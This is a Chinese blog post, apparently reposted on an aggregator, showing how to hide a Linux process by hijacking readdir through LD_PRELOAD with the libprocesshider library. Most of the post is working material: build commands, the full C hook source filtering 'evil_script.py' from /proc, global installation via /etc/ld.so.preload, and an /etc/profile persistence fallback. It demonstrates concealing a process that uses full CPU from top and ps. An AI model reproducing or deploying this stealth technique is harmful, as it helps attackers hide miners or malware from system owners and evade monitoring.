zoukankan      html  css  js  c++  java
  • linux 下隐藏进程的一种方法

    前言

    1. 本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载
    2. 思路就是利用 LD_PRELOAD 来实现系统函数的劫持

      LD_PRELOAD是什么:

      LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

    实现

    1.下载程序编译

    bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
    Cloning into 'libprocesshider'...
    remote: Counting objects: 26, done.
    remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
    Unpacking objects: 100% (26/26), done.
    bmfxgkpt-yhd:~# cd libprocesshider/
    bmfxgkpt-yhd:~/libprocesshider# make
    gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
    bmfxgkpt-yhd:~/libprocesshider# 
    

    2.移动文件到/usr/local/lib/目录下

    mv libprocesshider.so /usr/local/lib/
    

    3.把它加载到全局动态连接局

    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
    

    测试

    1. 我们运行evil_script.py
    2. 此时发现在top 与 ps 中都无法找到 evil_script.py

    此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

    分析

    #define _GNU_SOURCE
    
    #include <stdio.h>
    #include <dlfcn.h>
    #include <dirent.h>
    #include <string.h>
    #include <unistd.h>
    
    /*
     * Every process with this name will be excluded
     */
    static const char* process_to_filter = "evil_script.py";
    
    /*
     * Get a directory name given a DIR* handle
     */
    static int get_dir_name(DIR* dirp, char* buf, size_t size)
    {
        int fd = dirfd(dirp);
        if(fd == -1) {
            return 0;
        }
    
        char tmp[64];
        snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
        ssize_t ret = readlink(tmp, buf, size);
        if(ret == -1) {
            return 0;
        }
    
        buf[ret] = 0;
        return 1;
    }
    
    /*
     * Get a process name given its pid
     */
    static int get_process_name(char* pid, char* buf)
    {
        if(strspn(pid, "0123456789") != strlen(pid)) {
            return 0;
        }
    
        char tmp[256];
        snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
     
        FILE* f = fopen(tmp, "r");
        if(f == NULL) {
            return 0;
        }
    
        if(fgets(tmp, sizeof(tmp), f) == NULL) {
            fclose(f);
            return 0;
        }
    
        fclose(f);
    
        int unused;
        sscanf(tmp, "%d (%[^)]s", &unused, buf);
        return 1;
    }
    
    #define DECLARE_READDIR(dirent, readdir)                                
    static struct dirent* (*original_##readdir)(DIR*) = NULL;               
                                                                            
    struct dirent* readdir(DIR *dirp)                                       
    {                                                                       
        if(original_##readdir == NULL) {                                    
            original_##readdir = dlsym(RTLD_NEXT, "readdir");               
            if(original_##readdir == NULL)                                  
            {                                                               
                fprintf(stderr, "Error in dlsym: %s
    ", dlerror());         
            }                                                               
        }                                                                   
                                                                            
        struct dirent* dir;                                                 
                                                                            
        while(1)                                                            
        {                                                                   
            dir = original_##readdir(dirp);                                 
            if(dir) {                                                       
                char dir_name[256];                                         
                char process_name[256];                                     
                if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        
                    strcmp(dir_name, "/proc") == 0 &&                       
                    get_process_name(dir->d_name, process_name) &&          
                    strcmp(process_name, process_to_filter) == 0) {         
                    continue;                                               
                }                                                           
            }                                                               
            break;                                                          
        }                                                                   
        return dir;                                                         
    }
    
    DECLARE_READDIR(dirent64, readdir64);
    DECLARE_READDIR(dirent, readdir);
    
    1. 程序定义了一个变量 process_to_filter 来控制不显示哪个进程名
    2. 重写readdir,
      strcmp(process_name, process_to_filter) == 0)
      当发现当前进程名称与 process_to_filter 相同时,继续循环.

    遇到的坑

    1. 某些Linux中这个程序编译通不过

      解决方法

      删除最后两行中的一行

      DECLARE_READDIR(dirent64, readdir64);

      DECLARE_READDIR(dirent, readdir);

    2. 某些Linux中使用

      echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
      

      并不会生效
      此时我们需要配置环境变量

      bmfxgkpt-yhd:~# vi /etc/profile
      

      增加一行

      export LD_PRELOAD=/usr/local/lib/libprocesshider.so
      
  • 相关阅读:
    概念理解及常用方法
    WeX5触发事件
    前端页面问题小结
    高性能 CSS3 动画
    IScroll5中文API整理,用法与参考
    关于浏览器兼容之mate标签
    HTMl5的sessionStorage和localStorage
    web app iphone4 iphone5 iphone6 响应式布局 适配代码
    Javascript模板引擎分享
    css3 media媒体查询器用法总结
  • 原文地址:https://www.cnblogs.com/mysgk/p/9602977.html
Copyright © 2011-2022 走看看